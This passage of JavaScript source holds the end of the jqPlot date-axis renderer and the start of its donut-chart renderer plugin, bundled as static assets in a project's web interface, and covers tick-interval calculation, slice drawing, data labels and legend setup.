'%H:%M', '%H:%M', '%H:%M', '%H:%M', '%H:%M', '%a %H:%M', '%a %H:%M', '%b %e %H:%M', '%b %e %H:%M', '%b %e %H:%M', '%b %e %H:%M', '%v', '%v', '%v', '%v', '%v', '%v', '%v']; var niceIntervals = [0.1*second, 0.2*second, 0.5*second, second, 2*second, 5*second, 10*second, 15*second, 30*second, minute, 2*minute, 5*minute, 10*minute, 15*minute, 30*minute, hour, 2*hour, 4*hour, 6*hour, 8*hour, 12*hour, day, 2*day, 3*day, 4*day, 5*day, week, 2*week]; var niceMonthlyIntervals = []; function bestDateInterval(min, max, titarget) { // iterate through niceIntervals to find one closest to titarget var badness = Number.MAX_VALUE; var temp, bestTi, bestfmt; for (var i=0, l=niceIntervals.length; i < l; i++) { temp = Math.abs(titarget - niceIntervals[i]); if (temp < badness) { badness = temp; bestTi = niceIntervals[i]; bestfmt = niceFormatStrings[i]; } } return [bestTi, bestfmt]; } $.jqplot.DateAxisRenderer.prototype = new $.jqplot.LinearAxisRenderer(); $.jqplot.DateAxisRenderer.prototype.constructor = $.jqplot.DateAxisRenderer; $.jqplot.DateTickFormatter = function(format, val) { if (!format) { format = '%Y/%m/%d'; } return $.jsDate.strftime(val, format); }; $.jqplot.DateAxisRenderer.prototype.init = function(options){ // prop: tickRenderer // A class of a rendering engine for creating the ticks labels displayed on the plot, // See <$.jqplot.AxisTickRenderer>. // this.tickRenderer = $.jqplot.AxisTickRenderer; // this.labelRenderer = $.jqplot.AxisLabelRenderer; this.tickOptions.formatter = $.jqplot.DateTickFormatter; // prop: tickInset // Controls the amount to inset the first and last ticks from // the edges of the grid, in multiples of the tick interval. // 0 is no inset, 0.5 is one half a tick interval, 1 is a full // tick interval, etc. this.tickInset = 0; // prop: drawBaseline // True to draw the axis baseline. this.drawBaseline = true; // prop: baselineWidth // width of the baseline in pixels. this.baselineWidth = null; // prop: baselineColor // CSS color spec for the baseline. this.baselineColor = null; this.daTickInterval = null; this._daTickInterval = null; $.extend(true, this, options); var db = this._dataBounds, stats, sum, s, d, pd, sd, intv; // Go through all the series attached to this axis and find // the min/max bounds for this axis. for (var i=0; i<this._series.length; i++) { stats = {intervals:[], frequencies:{}, sortedIntervals:[], min:null, max:null, mean:null}; sum = 0; s = this._series[i]; d = s.data; pd = s._plotData; sd = s._stackData; intv = 0; for (var j=0; j<d.length; j++) { if (this.name == 'xaxis' || this.name == 'x2axis') { d[j][0] = new $.jsDate(d[j][0]).getTime(); pd[j][0] = new $.jsDate(d[j][0]).getTime(); sd[j][0] = new $.jsDate(d[j][0]).getTime(); if ((d[j][0] != null && d[j][0] < db.min) || db.min == null) { db.min = d[j][0]; } if ((d[j][0] != null && d[j][0] > db.max) || db.max == null) { db.max = d[j][0]; } if (j>0) { intv = Math.abs(d[j][0] - d[j-1][0]); stats.intervals.push(intv); if (stats.frequencies.hasOwnProperty(intv)) { stats.frequencies[intv] += 1; } else { stats.frequencies[intv] = 1; } } sum += intv; } else { d[j][1] = new $.jsDate(d[j][1]).getTime(); pd[j][1] = new $.jsDate(d[j][1]).getTime(); sd[j][1] = new $.jsDate(d[j][1]).getTime(); if ((d[j][1] != null && d[j][1] < db.min) || db.min == null) { db.min = d[j][1]; } if ((d[j][1] != null && d[j][1] > db.max) || db.max == null) { db.max = d[j][1]; } if (j>0) { intv = Math.abs(d[j][1] - d[j-1][1]); stats.intervals.push(intv); if (stats.frequencies.hasOwnProperty(intv)) { stats.frequencies[intv] += 1; } else { stats.frequencies[intv] = 1; } } } sum += intv; } if (s.renderer.bands) { if (s.renderer.bands.hiData.length) { var bd = s.renderer.bands.hiData; for (var j=0, l=bd.length; j < l; j++) { if (this.name === 'xaxis' || this.name === 'x2axis') { bd[j][0] = new $.jsDate(bd[j][0]).getTime(); if ((bd[j][0] != null && bd[j][0] > db.max) || db.max == null) { db.max = bd[j][0]; } } else { bd[j][1] = new $.jsDate(bd[j][1]).getTime(); if ((bd[j][1] != null && bd[j][1] > db.max) || db.max == null) { db.max = bd[j][1]; } } } } if (s.renderer.bands.lowData.length) { var bd = s.renderer.bands.lowData; for (var j=0, l=bd.length; j < l; j++) { if (this.name === 'xaxis' || this.name === 'x2axis') { bd[j][0] = new $.jsDate(bd[j][0]).getTime(); if ((bd[j][0] != null && bd[j][0] < db.min) || db.min == null) { db.min = bd[j][0]; } } else { bd[j][1] = new $.jsDate(bd[j][1]).getTime(); if ((bd[j][1] != null && bd[j][1] < db.min) || db.min == null) { db.min = bd[j][1]; } } } } } var tempf = 0, tempn=0; for (var n in stats.frequencies) { stats.sortedIntervals.push({interval:n, frequency:stats.frequencies[n]}); } stats.sortedIntervals.sort(function(a, b){ return b.frequency - a.frequency; }); stats.min = $.jqplot.arrayMin(stats.intervals); stats.max = $.jqplot.arrayMax(stats.intervals); stats.mean = sum/d.length; this._intervalStats.push(stats); stats = sum = s = d = pd = sd = null; } db = null; }; // called with scope of an axis $.jqplot.DateAxisRenderer.prototype.reset = function() { this.min = this._options.min; this.max = this._options.max; this.tickInterval = this._options.tickInterval; this.numberTicks = this._options.numberTicks; this._autoFormatString = ''; if (this._overrideFormatString && this.tickOptions && this.tickOptions.formatString) { this.tickOptions.formatString = ''; } this.daTickInterval = this._daTickInterval; // this._ticks = this.__ticks; }; $.jqplot.DateAxisRenderer.prototype.createTicks = function(plot) { // we're are operating on an axis here var ticks = this._ticks; var userTicks = this.ticks; var name = this.name; // databounds were set on axis initialization. var db = this._dataBounds; var iv = this._intervalStats; var dim = (this.name.charAt(0) === 'x') ? this._plotDimensions.width : this._plotDimensions.height; var interval; var min, max; var pos1, pos2; var tt, i; var threshold = 30; var insetMult = 1; var daTickInterval = null; // if user specified a tick interval, convert to usable. if (this.tickInterval != null) { // if interval is a number or can be converted to one, use it. // Assume it is in SECONDS!!! if (Number(this.tickInterval)) { daTickInterval = [Number(this.tickInterval), 'seconds']; } // else, parse out something we can build from. else if (typeof this.tickInterval == "string") { var parts = this.tickInterval.split(' '); if (parts.length == 1) { daTickInterval = [1, parts[0]]; } else if (parts.length == 2) { daTickInterval = [parts[0], parts[1]]; } } } var tickInterval = this.tickInterval; // if we already have ticks, use them. // ticks must be in order of increasing value. min = new $.jsDate((this.min != null) ? this.min : db.min).getTime(); max = new $.jsDate((this.max != null) ? this.max : db.max).getTime(); // see if we're zooming. if we are, don't use the min and max we're given, // but compute some nice ones. They will be reset later. var cursor = plot.plugins.cursor; if (cursor && cursor._zoom && cursor._zoom.zooming) { this.min = null; this.max = null; } var range = max - min; if (this.tickOptions == null || !this.tickOptions.formatString) { this._overrideFormatString = true; } if (userTicks.length) { // ticks could be 1D or 2D array of [val, val, ,,,] or [[val, label], [val, label], ...] or mixed for (i=0; i<userTicks.length; i++){ var ut = userTicks[i]; var t = new this.tickRenderer(this.tickOptions); if (ut.constructor == Array) { t.value = new $.jsDate(ut[0]).getTime(); t.label = ut[1]; if (!this.showTicks) { t.showLabel = false; t.showMark = false; } else if (!this.showTickMarks) { t.showMark = false; } t.setTick(t.value, this.name); this._ticks.push(t); } else { t.value = new $.jsDate(ut).getTime(); if (!this.showTicks) { t.showLabel = false; t.showMark = false; } else if (!this.showTickMarks) { t.showMark = false; } t.setTick(t.value, this.name); this._ticks.push(t); } } this.numberTicks = userTicks.length; this.min = this._ticks[0].value; this.max = this._ticks[this.numberTicks-1].value; this.daTickInterval = [(this.max - this.min) / (this.numberTicks - 1)/1000, 'seconds']; } //////// // We don't have any ticks yet, let's make some! //////// // special case when there is only one point, make three tick marks to center the point else if (this.min == null && this.max == null && db.min == db.max) { var onePointOpts = $.extend(true, {}, this.tickOptions, {name: this.name, value: null}); var delta = 300000; this.min = db.min - delta; this.max = db.max + delta; this.numberTicks = 3; for(var i=this.min;i<=this.max;i+= delta) { onePointOpts.value = i; var t = new this.tickRenderer(onePointOpts); if (this._overrideFormatString && this._autoFormatString != '') { t.formatString = this._autoFormatString; } t.showLabel = false; t.showMark = false; this._ticks.push(t); } if(this.showTicks) { this._ticks[1].showLabel = true; } if(this.showTickMarks) { this._ticks[1].showTickMarks = true; } } // if user specified min and max are null, we set those to make best ticks. else if (this.min == null && this.max == null) { var opts = $.extend(true, {}, this.tickOptions, {name: this.name, value: null}); // want to find a nice interval var nttarget, titarget; // if no tickInterval or numberTicks options specified, make a good guess. if (!this.tickInterval && !this.numberTicks) { var tdim = Math.max(dim, threshold+1); // how many ticks to put on the axis? // date labels tend to be long. If ticks not rotated, // don't use too many and have a high spacing factor. // If we are rotating ticks, use a lower factor. var spacingFactor = 115; if (this.tickRenderer === $.jqplot.CanvasAxisTickRenderer && this.tickOptions.angle) { spacingFactor = 115 - 40 * Math.abs(Math.sin(this.tickOptions.angle/180*Math.PI)); } nttarget = Math.ceil((tdim-threshold)/spacingFactor + 1); titarget = (max - min) / (nttarget - 1); } // If tickInterval is specified, we'll try to honor it. // Not guaranteed to get this interval, but we'll get as close as // we can. // tickInterval will be used before numberTicks, that is if // both are specified, numberTicks will be ignored. else if (this.tickInterval) { titarget = new $.jsDate(0).add(daTickInterval[0], daTickInterval[1]).getTime(); } // if numberTicks specified, try to honor it. // Not guaranteed, but will try to get close. else if (this.numberTicks) { nttarget = this.numberTicks; titarget = (max - min) / (nttarget - 1); } // If we can use an interval of 2 weeks or less, pick best one if (titarget <= 19*day) { var ret = bestDateInterval(min, max, titarget); var tempti = ret[0]; this._autoFormatString = ret[1]; min = new $.jsDate(min); min = Math.floor((min.getTime() - min.getUtcOffset())/tempti) * tempti + min.getUtcOffset(); nttarget = Math.ceil((max - min) / tempti) + 1; this.min = min; this.max = min + (nttarget - 1) * tempti; // if max is less than max, add an interval if (this.max < max) { this.max += tempti; nttarget += 1; } this.tickInterval = tempti; this.numberTicks = nttarget; for (var i=0; i<nttarget; i++) { opts.value = this.min + i * tempti; t = new this.tickRenderer(opts); if (this._overrideFormatString && this._autoFormatString != '') { t.formatString = this._autoFormatString; } if (!this.showTicks) { t.showLabel = false; t.showMark = false; } else if (!this.showTickMarks) { t.showMark = false; } this._ticks.push(t); } insetMult = this.tickInterval; } // should we use a monthly interval? else if (titarget <= 9 * month) { this._autoFormatString = '%v'; // how many months in an interval? var intv = Math.round(titarget/month); if (intv < 1) { intv = 1; } else if (intv > 6) { intv = 6; } // figure out the starting month and ending month. var mstart = new $.jsDate(min).setDate(1).setHours(0,0,0,0); // See if max ends exactly on a month var tempmend = new $.jsDate(max); var mend = new $.jsDate(max).setDate(1).setHours(0,0,0,0); if (tempmend.getTime() !== mend.getTime()) { mend = mend.add(1, 'month'); } var nmonths = mend.diff(mstart, 'month'); nttarget = Math.ceil(nmonths/intv) + 1; this.min = mstart.getTime(); this.max = mstart.clone().add((nttarget - 1) * intv, 'month').getTime(); this.numberTicks = nttarget; for (var i=0; i<nttarget; i++) { if (i === 0) { opts.value = mstart.getTime(); } else { opts.value = mstart.add(intv, 'month').getTime(); } t = new this.tickRenderer(opts); if (this._overrideFormatString && this._autoFormatString != '') { t.formatString = this._autoFormatString; } if (!this.showTicks) { t.showLabel = false; t.showMark = false; } else if (!this.showTickMarks) { t.showMark = false; } this._ticks.push(t); } insetMult = intv * month; } // use yearly intervals else { this._autoFormatString = '%v'; // how many years in an interval? var intv = Math.round(titarget/year); if (intv < 1) { intv = 1; } // figure out the starting and ending years. var mstart = new $.jsDate(min).setMonth(0, 1).setHours(0,0,0,0); var mend = new $.jsDate(max).add(1, 'year').setMonth(0, 1).setHours(0,0,0,0); var nyears = mend.diff(mstart, 'year'); nttarget = Math.ceil(nyears/intv) + 1; this.min = mstart.getTime(); this.max = mstart.clone().add((nttarget - 1) * intv, 'year').getTime(); this.numberTicks = nttarget; for (var i=0; i<nttarget; i++) { if (i === 0) { opts.value = mstart.getTime(); } else { opts.value = mstart.add(intv, 'year').getTime(); } t = new this.tickRenderer(opts); if (this._overrideFormatString && this._autoFormatString != '') { t.formatString = this._autoFormatString; } if (!this.showTicks) { t.showLabel = false; t.showMark = false; } else if (!this.showTickMarks) { t.showMark = false; } this._ticks.push(t); } insetMult = intv * year; } } //////// // Some option(s) specified, work around that. //////// else { if (name == 'xaxis' || name == 'x2axis') { dim = this._plotDimensions.width; } else { dim = this._plotDimensions.height; } // if min, max and number of ticks specified, user can't specify interval. if (this.min != null && this.max != null && this.numberTicks != null) { this.tickInterval = null; } if (this.tickInterval != null && daTickInterval != null) { this.daTickInterval = daTickInterval; } // if min and max are same, space them out a bit if (min == max) { var adj = 24*60*60*500; // 1/2 day min -= adj; max += adj; } range = max - min; var optNumTicks = 2 + parseInt(Math.max(0, dim-100)/100, 10); var rmin, rmax; rmin = (this.min != null) ? new $.jsDate(this.min).getTime() : min - range/2*(this.padMin - 1); rmax = (this.max != null) ? new $.jsDate(this.max).getTime() : max + range/2*(this.padMax - 1); this.min = rmin; this.max = rmax; range = this.max - this.min; if (this.numberTicks == null){ // if tickInterval is specified by user, we will ignore computed maximum. // max will be equal or greater to fit even # of ticks. if (this.daTickInterval != null) { var nc = new $.jsDate(this.max).diff(this.min, this.daTickInterval[1], true); this.numberTicks = Math.ceil(nc/this.daTickInterval[0]) +1; // this.max = new $.jsDate(this.min).add(this.numberTicks-1, this.daTickInterval[1]).getTime(); this.max = new $.jsDate(this.min).add((this.numberTicks-1) * this.daTickInterval[0], this.daTickInterval[1]).getTime(); } else if (dim > 200) { this.numberTicks = parseInt(3+(dim-200)/100, 10); } else { this.numberTicks = 2; } } insetMult = range / (this.numberTicks-1)/1000; if (this.daTickInterval == null) { this.daTickInterval = [insetMult, 'seconds']; } for (var i=0; i<this.numberTicks; i++){ var min = new $.jsDate(this.min); tt = min.add(i*this.daTickInterval[0], this.daTickInterval[1]).getTime(); var t = new this.tickRenderer(this.tickOptions); // var t = new $.jqplot.AxisTickRenderer(this.tickOptions); if (!this.showTicks) { t.showLabel = false; t.showMark = false; } else if (!this.showTickMarks) { t.showMark = false; } t.setTick(tt, this.name); this._ticks.push(t); } } if (this.tickInset) { this.min = this.min - this.tickInset * insetMult; this.max = this.max + this.tickInset * insetMult; } if (this._daTickInterval == null) { this._daTickInterval = this.daTickInterval; } ticks = null; }; })(jQuery); ================================================ FILE: pwnagotchi/ui/web/static/js/plugins/jqplot.donutRenderer.js ================================================ /** * jqPlot * Pure JavaScript plotting plugin using jQuery * * Version: 1.0.9 * Revision: d96a669 * * Copyright (c) 2009-2016 Chris Leonello * jqPlot is currently available for use in all personal or commercial projects * under both the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL * version 2.0 (http://www.gnu.org/licenses/gpl-2.0.html) licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * Although not required, the author would appreciate an email letting him * know of any substantial use of jqPlot. You can reach the author at: * chris at jqplot dot com or see http://www.jqplot.com/info.php . * * If you are feeling kind and generous, consider supporting the project by * making a donation at: http://www.jqplot.com/donate.php . * * sprintf functions contained in jqplot.sprintf.js by Ash Searle: * * version 2007.04.27 * author Ash Searle * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js * The author (Ash Searle) has placed this code in the public domain: * "This code is unrestricted: you are free to use it however you like." * */ (function($) { /** * Class: $.jqplot.DonutRenderer * Plugin renderer to draw a donut chart. * x values, if present, will be used as slice labels. * y values give slice size. * * To use this renderer, you need to include the * donut renderer plugin, for example: * * > <script type="text/javascript" src="plugins/jqplot.donutRenderer.js"></script> * * Properties described here are passed into the $.jqplot function * as options on the series renderer. For example: * * > plot2 = $.jqplot('chart2', [s1, s2], { * > seriesDefaults: { * > renderer:$.jqplot.DonutRenderer, * > rendererOptions:{ * > sliceMargin: 2, * > innerDiameter: 110, * > startAngle: -90 * > } * > } * > }); * * A donut plot will trigger events on the plot target * according to user interaction. All events return the event object, * the series index, the point (slice) index, and the point data for * the appropriate slice. * * 'jqplotDataMouseOver' - triggered when user mouseing over a slice. * 'jqplotDataHighlight' - triggered the first time user mouses over a slice, * if highlighting is enabled. * 'jqplotDataUnhighlight' - triggered when a user moves the mouse out of * a highlighted slice. * 'jqplotDataClick' - triggered when the user clicks on a slice. * 'jqplotDataRightClick' - tiggered when the user right clicks on a slice if * the "captureRightClick" option is set to true on the plot. */ $.jqplot.DonutRenderer = function(){ $.jqplot.LineRenderer.call(this); }; $.jqplot.DonutRenderer.prototype = new $.jqplot.LineRenderer(); $.jqplot.DonutRenderer.prototype.constructor = $.jqplot.DonutRenderer; // called with scope of a series $.jqplot.DonutRenderer.prototype.init = function(options, plot) { // Group: Properties // // prop: diameter // Outer diameter of the donut, auto computed by default this.diameter = null; // prop: innerDiameter // Inner diameter of the donut, auto calculated by default. // If specified will override thickness value. this.innerDiameter = null; // prop: thickness // thickness of the donut, auto computed by default // Overridden by if innerDiameter is specified. this.thickness = null; // prop: padding // padding between the donut and plot edges, legend, etc. this.padding = 20; // prop: sliceMargin // angular spacing between donut slices in degrees. this.sliceMargin = 0; // prop: ringMargin // pixel distance between rings, or multiple series in a donut plot. // null will compute ringMargin based on sliceMargin. this.ringMargin = null; // prop: fill // true or false, whether to fil the slices. this.fill = true; // prop: shadowOffset // offset of the shadow from the slice and offset of // each succesive stroke of the shadow from the last. this.shadowOffset = 2; // prop: shadowAlpha // transparency of the shadow (0 = transparent, 1 = opaque) this.shadowAlpha = 0.07; // prop: shadowDepth // number of strokes to apply to the shadow, // each stroke offset shadowOffset from the last. this.shadowDepth = 5; // prop: highlightMouseOver // True to highlight slice when moused over. // This must be false to enable highlightMouseDown to highlight when clicking on a slice. this.highlightMouseOver = true; // prop: highlightMouseDown // True to highlight when a mouse button is pressed over a slice. // This will be disabled if highlightMouseOver is true. this.highlightMouseDown = false; // prop: highlightColors // an array of colors to use when highlighting a slice. this.highlightColors = []; // prop: dataLabels // Either 'label', 'value', 'percent' or an array of labels to place on the pie slices. // Defaults to percentage of each pie slice. this.dataLabels = 'percent'; // prop: showDataLabels // true to show data labels on slices. this.showDataLabels = false; // prop: totalLabel // true to show total label in the centre this.totalLabel = false; // prop: dataLabelFormatString // Format string for data labels. If none, '%s' is used for "label" and for arrays, '%d' for value and '%d%%' for percentage. this.dataLabelFormatString = null; // prop: dataLabelThreshold // Threshhold in percentage (0 - 100) of pie area, below which no label will be displayed. // This applies to all label types, not just to percentage labels. this.dataLabelThreshold = 3; // prop: dataLabelPositionFactor // A Multiplier (0-1) of the pie radius which controls position of label on slice. // Increasing will slide label toward edge of pie, decreasing will slide label toward center of pie. this.dataLabelPositionFactor = 0.4; // prop: dataLabelNudge // Number of pixels to slide the label away from (+) or toward (-) the center of the pie. this.dataLabelNudge = 0; // prop: startAngle // Angle to start drawing donut in degrees. // According to orientation of canvas coordinate system: // 0 = on the positive x axis // -90 = on the positive y axis. // 90 = on the negaive y axis. // 180 or - 180 = on the negative x axis. this.startAngle = 0; this.tickRenderer = $.jqplot.DonutTickRenderer; // Used as check for conditions where donut shouldn't be drawn. this._drawData = true; this._type = 'donut'; // if user has passed in highlightMouseDown option and not set highlightMouseOver, disable highlightMouseOver if (options.highlightMouseDown && options.highlightMouseOver == null) { options.highlightMouseOver = false; } $.extend(true, this, options); if (this.diameter != null) { this.diameter = this.diameter - this.sliceMargin; } this._diameter = null; this._innerDiameter = null; this._radius = null; this._innerRadius = null; this._thickness = null; // references to the previous series in the plot to properly calculate diameters // and thicknesses of nested rings. this._previousSeries = []; this._numberSeries = 1; // array of [start,end] angles arrays, one for each slice. In radians. this._sliceAngles = []; // index of the currenty highlighted point, if any this._highlightedPoint = null; // set highlight colors if none provided if (this.highlightColors.length == 0) { for (var i=0; i<this.seriesColors.length; i++){ var rgba = $.jqplot.getColorComponents(this.seriesColors[i]); var newrgb = [rgba[0], rgba[1], rgba[2]]; var sum = newrgb[0] + newrgb[1] + newrgb[2]; for (var j=0; j<3; j++) { // when darkening, lowest color component can be is 60. newrgb[j] = (sum > 570) ? newrgb[j] * 0.8 : newrgb[j] + 0.3 * (255 - newrgb[j]); newrgb[j] = parseInt(newrgb[j], 10); } this.highlightColors.push('rgb('+newrgb[0]+','+newrgb[1]+','+newrgb[2]+')'); } } plot.postParseOptionsHooks.addOnce(postParseOptions); plot.postInitHooks.addOnce(postInit); plot.eventListenerHooks.addOnce('jqplotMouseMove', handleMove); plot.eventListenerHooks.addOnce('jqplotMouseDown', handleMouseDown); plot.eventListenerHooks.addOnce('jqplotMouseUp', handleMouseUp); plot.eventListenerHooks.addOnce('jqplotClick', handleClick); plot.eventListenerHooks.addOnce('jqplotRightClick', handleRightClick); plot.postDrawHooks.addOnce(postPlotDraw); }; $.jqplot.DonutRenderer.prototype.setGridData = function(plot) { // set gridData property. This will hold angle in radians of each data point. var stack = []; var td = []; var sa = this.startAngle/180*Math.PI; var tot = 0; // don't know if we have any valid data yet, so set plot to not draw. this._drawData = false; for (var i=0; i<this.data.length; i++){ if (this.data[i][1] != 0) { // we have data, O.K. to draw. this._drawData = true; } stack.push(this.data[i][1]); td.push([this.data[i][0]]); if (i>0) { stack[i] += stack[i-1]; } tot += this.data[i][1]; } var fact = Math.PI*2/stack[stack.length - 1]; for (var i=0; i<stack.length; i++) { td[i][1] = stack[i] * fact; td[i][2] = this.data[i][1]/tot; } this.gridData = td; }; $.jqplot.DonutRenderer.prototype.makeGridData = function(data, plot) { var stack = []; var td = []; var tot = 0; var sa = this.startAngle/180*Math.PI; // don't know if we have any valid data yet, so set plot to not draw. this._drawData = false; for (var i=0; i<data.length; i++){ if (this.data[i][1] != 0) { // we have data, O.K. to draw. this._drawData = true; } stack.push(data[i][1]); td.push([data[i][0]]); if (i>0) { stack[i] += stack[i-1]; } tot += data[i][1]; } var fact = Math.PI*2/stack[stack.length - 1]; for (var i=0; i<stack.length; i++) { td[i][1] = stack[i] * fact; td[i][2] = data[i][1]/tot; } this._totalAmount = tot; return td; }; $.jqplot.DonutRenderer.prototype.drawSlice = function (ctx, ang1, ang2, color, isShadow) { var r = this._diameter / 2; var ri = r - this._thickness; var fill = this.fill; // var lineWidth = this.lineWidth; ctx.save(); ctx.translate(this._center[0], this._center[1]); // ctx.translate(this.sliceMargin*Math.cos((ang1+ang2)/2), this.sliceMargin*Math.sin((ang1+ang2)/2)); if (isShadow) { for (var i=0; i<this.shadowDepth; i++) { ctx.save(); ctx.translate(this.shadowOffset*Math.cos(this.shadowAngle/180*Math.PI), this.shadowOffset*Math.sin(this.shadowAngle/180*Math.PI)); doDraw(); } } else { doDraw(); } function doDraw () { // Fix for IE and Chrome that can't seem to draw circles correctly. // ang2 should always be <= 2 pi since that is the way the data is converted. if (ang2 > 6.282 + this.startAngle) { ang2 = 6.282 + this.startAngle; if (ang1 > ang2) { ang1 = 6.281 + this.startAngle; } } // Fix for IE, where it can't seem to handle 0 degree angles. Also avoids // ugly line on unfilled donuts. if (ang1 >= ang2) { return; } ctx.beginPath(); ctx.fillStyle = color; ctx.strokeStyle = color; // ctx.lineWidth = lineWidth; ctx.arc(0, 0, r, ang1, ang2, false); ctx.lineTo(ri*Math.cos(ang2), ri*Math.sin(ang2)); ctx.arc(0,0, ri, ang2, ang1, true); ctx.closePath(); if (fill) { ctx.fill(); } else { ctx.stroke(); } } if (isShadow) { for (var i=0; i<this.shadowDepth; i++) { ctx.restore(); } } ctx.restore(); }; // called with scope of series $.jqplot.DonutRenderer.prototype.draw = function (ctx, gd, options, plot) { var i; var opts = (options != undefined) ? options : {}; // offset and direction of offset due to legend placement var offx = 0; var offy = 0; var trans = 1; // var colorGenerator = new this.colorGenerator(this.seriesColors); if (options.legendInfo && options.legendInfo.placement == 'insideGrid') { var li = options.legendInfo; switch (li.location) { case 'nw': offx = li.width + li.xoffset; break; case 'w': offx = li.width + li.xoffset; break; case 'sw': offx = li.width + li.xoffset; break; case 'ne': offx = li.width + li.xoffset; trans = -1; break; case 'e': offx = li.width + li.xoffset; trans = -1; break; case 'se': offx = li.width + li.xoffset; trans = -1; break; case 'n': offy = li.height + li.yoffset; break; case 's': offy = li.height + li.yoffset; trans = -1; break; default: break; } } var shadow = (opts.shadow != undefined) ? opts.shadow : this.shadow; var showLine = (opts.showLine != undefined) ? opts.showLine : this.showLine; var fill = (opts.fill != undefined) ? opts.fill : this.fill; //see http://stackoverflow.com/questions/20221461/hidpi-retina-plot-drawing var cw = parseInt(ctx.canvas.style.width); var ch = parseInt(ctx.canvas.style.height); var w = cw - offx - 2 * this.padding; var h = ch - offy - 2 * this.padding; var mindim = Math.min(w,h); var d = mindim; var ringmargin = (this.ringMargin == null) ? this.sliceMargin * 2.0 : this.ringMargin; for (var i=0; i<this._previousSeries.length; i++) { d -= 2.0 * this._previousSeries[i]._thickness + 2.0 * ringmargin; } this._diameter = this.diameter || d; if (this.innerDiameter != null) { var od = (this._numberSeries > 1 && this.index > 0) ? this._previousSeries[0]._diameter : this._diameter; this._thickness = this.thickness || (od - this.innerDiameter - 2.0*ringmargin*this._numberSeries) / this._numberSeries/2.0; } else { this._thickness = this.thickness || mindim / 2 / (this._numberSeries + 1) * 0.85; } if (this._diameter < 6) { $.jqplot.log("Diameter of donut too small, not rendering."); return; } var r = this._radius = this._diameter/2; this._innerRadius = this._radius - this._thickness; var sa = this.startAngle / 180 * Math.PI; this._center = [(cw - trans * offx)/2 + trans * offx, (ch - trans*offy)/2 + trans * offy]; if (this.shadow) { var shadowColor = 'rgba(0,0,0,'+this.shadowAlpha+')'; for (var i=0; i<gd.length; i++) { var ang1 = (i == 0) ? sa : gd[i-1][1] + sa; // Adjust ang1 and ang2 for sliceMargin ang1 += this.sliceMargin/180*Math.PI; this.renderer.drawSlice.call (this, ctx, ang1, gd[i][1]+sa, shadowColor, true); } } for (var i=0; i<gd.length; i++) { var ang1 = (i == 0) ? sa : gd[i-1][1] + sa; // Adjust ang1 and ang2 for sliceMargin ang1 += this.sliceMargin/180*Math.PI; var ang2 = gd[i][1] + sa; this._sliceAngles.push([ang1, ang2]); this.renderer.drawSlice.call (this, ctx, ang1, ang2, this.seriesColors[i], false); if (this.showDataLabels && gd[i][2]*100 >= this.dataLabelThreshold) { var fstr, avgang = (ang1+ang2)/2, label; if (this.dataLabels == 'label') { fstr = this.dataLabelFormatString || '%s'; label = $.jqplot.sprintf(fstr, gd[i][0]); } else if (this.dataLabels == 'value') { fstr = this.dataLabelFormatString || '%d'; label = $.jqplot.sprintf(fstr, this.data[i][1]); } else if (this.dataLabels == 'percent') { fstr = this.dataLabelFormatString || '%d%%'; label = $.jqplot.sprintf(fstr, gd[i][2]*100); } else if (this.dataLabels.constructor == Array) { fstr = this.dataLabelFormatString || '%s'; label = $.jqplot.sprintf(fstr, this.dataLabels[i]); } var fact = this._innerRadius + this._thickness * this.dataLabelPositionFactor + this.sliceMargin + this.dataLabelNudge; var x = this._center[0] + Math.cos(avgang) * fact + this.canvas._offsets.left; var y = this._center[1] + Math.sin(avgang) * fact + this.canvas._offsets.top; var labelelem = $('<span class="jqplot-donut-series jqplot-data-label" style="position:absolute;">' + label + '</span>').insertBefore(plot.eventCanvas._elem); x -= labelelem.width()/2; y -= labelelem.height()/2; x = Math.round(x); y = Math.round(y); labelelem.css({left: x, top: y}); } } if (this.totalLabel) { var totalLabel = $('<div class="jqplot-data-label" style="position:absolute">' + this._totalAmount + '</div>').insertAfter(plot.eventCanvas._elem); totalLabel.css({left: this._center[0], top: this._center[1]}); } }; $.jqplot.DonutAxisRenderer = function() { $.jqplot.LinearAxisRenderer.call(this); }; $.jqplot.DonutAxisRenderer.prototype = new $.jqplot.LinearAxisRenderer(); $.jqplot.DonutAxisRenderer.prototype.constructor = $.jqplot.DonutAxisRenderer; // There are no traditional axes on a donut chart. We just need to provide // dummy objects with properties so the plot will render. // called with scope of axis object. $.jqplot.DonutAxisRenderer.prototype.init = function(options){ // this.tickRenderer = $.jqplot.DonutTickRenderer; $.extend(true, this, options); // I don't think I'm going to need _dataBounds here. // have to go Axis scaling in a way to fit chart onto plot area // and provide u2p and p2u functionality for mouse cursor, etc. // for convienence set _dataBounds to 0 and 100 and // set min/max to 0 and 100. this._dataBounds = {min:0, max:100}; this.min = 0; this.max = 100; this.showTicks = false; this.ticks = []; this.showMark = false; this.show = false; }; $.jqplot.DonutLegendRenderer = function(){ $.jqplot.TableLegendRenderer.call(this); }; $.jqplot.DonutLegendRenderer.prototype = new $.jqplot.TableLegendRenderer(); $.jqplot.DonutLegendRenderer.prototype.constructor = $.jqplot.DonutLegendRenderer; /** * Class: $.jqplot.DonutLegendRenderer * Legend Renderer specific to donut plots. Set by default * when user creates a donut plot. */ $.jqplot.DonutLegendRenderer.prototype.init = function(options) { // Group: Properties // // prop: numberRows // Maximum number of rows in the legend. 0 or null for unlimited. this.numberRows = null; // prop: numberColumns // Maximum number of columns in the legend. 0 or null for unlimited. this.numberColumns = null; $.extend(true, this, options); }; // called with context of legend $.jqplot.DonutLegendRenderer.prototype.draw = function() { var legend = this; if (this.show) { var series = this._series; var ss = 'position:absolute;'; ss += (this.background) ? 'background:'+this.background+';' : ''; ss += (this.border) ? 'border:'+this.border+';' : ''; ss += (this.fontSize) ? 'font-size:'+this.fontSize+';' : ''; ss += (this.fontFamily) ? 'font-family:'+this.fontFamily+';' : ''; ss += (this.textColor) ? 'color:'+this.textColor+';' : ''; ss += (this.marginTop != null) ? 'margin-top:'+this.marginTop+';' : ''; ss += (this.marginBottom != null) ? 'margin-bottom:'+this.marginBottom+';' : ''; ss += (this.marginLeft != null) ? 'margin-left:'+this.marginLeft+';' : ''; ss += (this.marginRight != null) ? 'margin-right:'+this.marginRight+';' : ''; this._elem = $('<table class="jqplot-table-legend" style="'+ss+'"></table>'); // Donut charts legends don't go by number of series, but by number of data points // in the series. Refactor things here for that. var pad = false, reverse = false, nr, nc; var s = series[0]; var colorGenerator = new $.jqplot.ColorGenerator(s.seriesColors); if (s.show) { var pd = s.data; if 